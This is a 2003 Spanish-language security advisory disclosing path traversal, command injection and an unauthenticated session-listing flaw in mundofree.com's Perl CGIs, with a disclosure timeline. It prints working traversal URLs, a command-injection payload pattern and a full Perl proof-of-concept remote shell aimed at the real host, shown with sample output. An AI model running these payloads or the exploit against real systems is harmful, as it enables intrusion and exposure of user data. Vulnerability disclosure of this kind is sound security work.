-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 =============================== - RS-Labs Security Advisory - =============================== Título: CGI vulnerable en "www.mundofree.com" ID: RS-2003-1 Riesgo: Ejecución arbitraria de comandos de forma remota Fecha: 10/05/2003 Autor: Román Medina-Heigl Hernández URL: http://www.rs-labs.com/adv/RS-Labs-Advisory-2003-1.txt .: [ SINOPSIS ] Mundofree.com es un conocido portal web orientado a servicios relacionados con Internet. Entre otras cosas ofrece cuentas de correo, agenda web y hosting gratuito. La aplicación web incluye diversos CGIs programados en Perl, algunos de los cuales no validan la entrada de usuario de forma adecuada o no están protegidos por ningún tipo de autentificación cuando deberían estarlo. Como resultado, es posible visualizar cualquier fichero del servidor de forma trivial, mostrar las sesiones activas e incluso ejecutar código arbitrario (bajo el contexto del usuario 'nsuser', i.e., el usuario de iPlanet). .: [ ANÁLISIS TÉCNICO ] La primera vulnerabilidad se puede intuir fácilmente sin más que echar un vistazo a la aplicación web de Mundofree y fijándonos en uno de los parámetros que se le pasan a uno de sus CGIs: http://www.mundofree.com/version3/cgi-bin/bjs_panelstatusV2.cgi? pagMundo=../../../../../../etc/hosts%00 La URL anterior nos mostraría el contenido del fichero /etc/hosts del servidor y demuestra el primero de los fallos. El siguiente paso consistiría en obtener el código del propio CGI, para poder auditarlo: http://www.mundofree.com/version3/cgi-bin/bjs_panelstatusV2.cgi? pagMundo=../cgi-bin/bjs_panelstatusV2.cgi%00 Así podemos verificar de donde sale el bug anterior y de paso, descubrir algunos nuevos fallos de seguridad: if ( $parametros{'pagMundo'} ne "" ) { my $pag = $parametros{'pagMundo'}; if ( $pag eq "infomasqgratis" ){ my $u = $ENV{'QUERY_STRING'}; $resultado = `./bjs_infomasqgratis.cgi $u`; }elsif (){ [...] }else{ cargaPag("../Aprox3/$pag.html"); } } [...] sub cargaPag { my $pag = shift; my $linea; my @lineas; open (PAGINA , $pag ) || die print "No puedo abrir la pagina (P -> $pag)"; @lineas = ; close(PAGINA); foreach $linea (@lineas) { print $linea; } } La segunda (y más grave) vulnerabilidad resulta evidente y se deriva del código anterior. Más concretamente, de: if ( $pag eq "infomasqgratis" ){ my $u = $ENV{'QUERY_STRING'}; $resultado = `./bjs_infomasqgratis.cgi $u`; } En el fragmento de código anterior podemos observar cómo se ejecuta, gracias a las comillas invertidas, una línea de comandos, la cual se forma añadiendo una variable a una parte fija. Dicha variable se recoge directamente de los parámetros pasados al CGI, sin ningún tipo de parsing, o lo que es lo mismo, tenemos una entrada de usuario sin verificar. Es trivial explotar este fallo de distintas formas. Por ilustrar una de ellas pensemos que ocurriría si $u = "; comando1 ; comando2". El CGI trataría de ejecutar la siguiente línea: ./bjs_infomasqgratis.cgi ; comando1 ; comando2 Es decir, primero ejecutaría el programa establecido en la parte fija (que es a su vez otro CGI), y luego nuestros comandos, de forma secuencial. Más adelante, mostraremos una prueba de concepto que se aprovecha de este bug para ejecutar código arbitrario en la máquina remota. La tercera y última vulnerabilidad descubierta atenta contra la privacidad de los usuarios de Mundofree. La siguiente funcionalidad debería de requerir algún tipo de autentificación y no estar disponible al público. Sorprendente- mente, no es así: http://www.mundofree.com/version3/cgi-bin/bjs_panelstatusV2.cgi? accion=sesiones La URL anterior muestra las sesiones activas, con los siguientes datos de usuario: login, nombre real, fecha de nacimiento, hora del login y último ping. .: [ EXPLOIT ] La siguiente prueba de concepto se incluye con fines didácticos y demuestra la gravedad de los fallos encontrados. Trata de emular un terminal interactivo, aunque de forma un tanto rudimentaria. Realmente, cada comando a ejecutar se envía al CGI de forma independiente, y el programa se encarga de filtrar el contenido devuelto (que originariamente sería la respuesta a nuestro comando, más el código HTML de la página original). Para poder incluir líneas de comandos con caracteres espaciadores se hace uso de la variable IFS de la shell. El exploit funciona tanto en Unix como en Windows, siempre que exista un intérprete Perl instalado en nuestro sistema. C:\>xploit-get.pl Welcome to RoMaNSoFt's pseudo-interactive shell :-) [Ctrl-D to exit] roman$ id uid=51(nsuser) gid=51(nsgroup) roman$ uname -a SunOS npop3 5.7 Generic_106541-19 sun4u sparc SUNW,Ultra-80 roman$ El contenido de "xploit-get.pl" es el siguiente: #!/usr/bin/perl # # Mundofree Xploit (proof of concept) (GET version) # by RoMaNSoFt use Socket; ### Configuracion ####### $ifs="#"; $host='www.mundofree.com'; $port=80; $metodo="GET"; $protocolo="HTTP/1.0"; $urlroot="/version3/cgi-bin/bjs_panelstatusV2.cgi?pagMundo=infomasqgratis&kk=;IFS=".$ifs.";"; $start_trigger=" \n"; $stop_trigger=" \n"; $prompt="roman\$ "; $logfile="./log"; ### Fin configuracion ### # Abre fichero logs y se prepara para leer de stdin open(LOGFILE, ">>$logfile"); open(STDINPUT, '-'); print "Welcome to RoMaNSoFt's pseudo-interactive shell :-)\n[Ctrl-D to exit]\n\n".$prompt; while () { chop; if ($_ eq "bye" or $_ eq "quit") { exit(1); } &ejecuta_comando ($_); print "\n".$prompt; } close(STDINPUT); close(LOGFILE); exit(0); sub ejecuta_comando { local ($comando) = @_; ### Parsea comando e inserta el IFS $comandoparseado=$comando; $comandoparseado =~ s/ /$ifs/g; ### Construye peticion $peticion=$metodo." ".$urlroot.$comandoparseado." ".$protocolo."\n\n"; ### Abrimos socket y conectamos con el servidor $serverIP = inet_aton ($host); $serverAddr = sockaddr_in ($port, $serverIP); socket (CLIENT, PF_INET, SOCK_STREAM, getprotobyname('tcp') ) || die; connect (CLIENT, $serverAddr) || die; ### "Unbuffereamos" socket $current_handle = select (CLIENT); $| = 1; select ($current_handle); # Mandamos peticion print CLIENT $peticion; $imprimir=0; do { $linea = ; if ($linea eq $start_trigger) { $imprimir=1; print LOGFILE "\n".$prompt.$comando."\n"; } elsif ($linea eq $stop_trigger) { $imprimir=2; } elsif ($imprimir == 1) { print $linea; print LOGFILE $linea; } } while (!eof and $imprimir!=2); if ($imprimir == 0) { print "No trigger!\n\n"; } close(CLIENT); } .: [ SOLUCIÓN ] Se recomienda practicar con urgencia una auditoría de código fuente a todos los CGIs de Mundofree. .: [ HISTORIAL ] * 10/03/2003: - Mails a cac@mundofree.com y webmaster@mundofree.com pidiendo la dirección de correo de la persona encargada de la seguridad del site, para reportar vulnerabilidad. - Respuesta recibida de cac@mundofree, en la que me remiten al número de teléfono del mismo CAC "para poder averiguar el motivo de su incidencia". - Les contesto aclarando que la incidencia la tienen ellos y no yo, y que sólo trato de ayudar. Vuelvo a pedirles el e-mail del técnico o persona encargada de la seguridad. * 11/03/2003: - Primer contacto con Antonio González Campos . Le envío copia de este advisory. * 18/03/2003: - Reconocen los fallos de seguridad y me comunican que ya han sido solventados. Me comentan asimismo que están documentando los cambios y realizando una batería de pruebas a los CGI's. Les pido que me avisen cuando den todo por zanjado, para publi- car este texto. * 06/05/2003: - Tras más de mes y medio sin recibir respuesta les escribo de nuevo avisando de que haré público el advisory en breve si no me notifican por mail su disconformidad expresa. * 10/05/2003: - No responden tampoco. Decido publicar este advisory. .: [ REFERENCIAS ] * Rain Forest Puppy. Perl CGI problems. Septiembre, 1999. http://www.wiretrip.net/rfp/p/doc.asp/i1/d6.htm -=EOF=- -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPrwuX+R/in3q1WdCEQL2twCbB+v/891CMOvAgu8Bqu6keB23VnQAoOdi QowikSZbnmMfZ0cyD1JNRVBG =ubiV -----END PGP SIGNATURE-----